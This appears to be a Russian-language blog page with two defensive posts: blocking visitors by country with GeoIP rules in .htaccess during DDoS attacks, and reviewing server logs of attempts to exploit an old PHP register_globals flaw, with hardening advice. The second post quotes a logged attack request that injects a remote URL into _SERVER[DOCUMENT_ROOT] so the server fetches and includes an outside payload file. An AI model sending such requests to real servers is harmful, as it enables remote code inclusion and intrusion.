Пограничные войны

Не секрет, что настоящую сильную DDoS-атаку может отбить (отфильтровать) только серьезная железка [магистрального] провайдера. Бороться своими силами (силами серверной ОСи) можно только с небольшими атаками и с разными другими мелкими неприятностями, как то подбор паролей (брутфорс), наплыв нецелевого траффика (китайцев на русский сайт :) ), взлом сайтов и т.п.

От наплыва посетителей из нежелательных стран можно бороться путем блокирования IP-адреса по коду страны, для этого понядобится установленный GeoIP и следующий  код в файле .htaccess:

SetEnvIf GEOIP_COUNTRY_CODE CN BadCountry
SetEnvIf GEOIP_COUNTRY_CODE TW BadCountry
Order Deny,Allow
Deny from env=BadCountry

Allow from 1.2.3.4 # разрешенный адрес заблокированнй страны
Allow from 2.3.4.5 # разрешенный адрес заблокированнй страны

Можно открыть доступ только определенным странам:

SetEnvIf GEOIP_COUNTRY_CODE UA GoodCountry
SetEnvIf GEOIP_COUNTRY_CODE RU GoodCountry
Order Allow,Deny
Allow from env=GoodCountry
Under Attack: рубим с плеча

Если сайт подвергается DDoS-атаке и вы определили, что все запросы идут из какой-то определенной страны, будет лучше, если заблокировать страну в фаерволе, чтобы не было большой нагрузки на Apache.

 

Читать остальную часть заметки »

Теги: , , , , , , , , , , , , , , , , ,

Скрипткиды или боты

Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
Oct  4 03:23:34 220 suhosin[28420]: ALERT – tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)

Пример запроса (из лога апача):
211.111.213.195 – - [05/Oct/2009:08:26:22 +0300] “GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1″ 302 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)”

Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.

Как защититься?

a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.


Теги: , , , , , , , , , , ,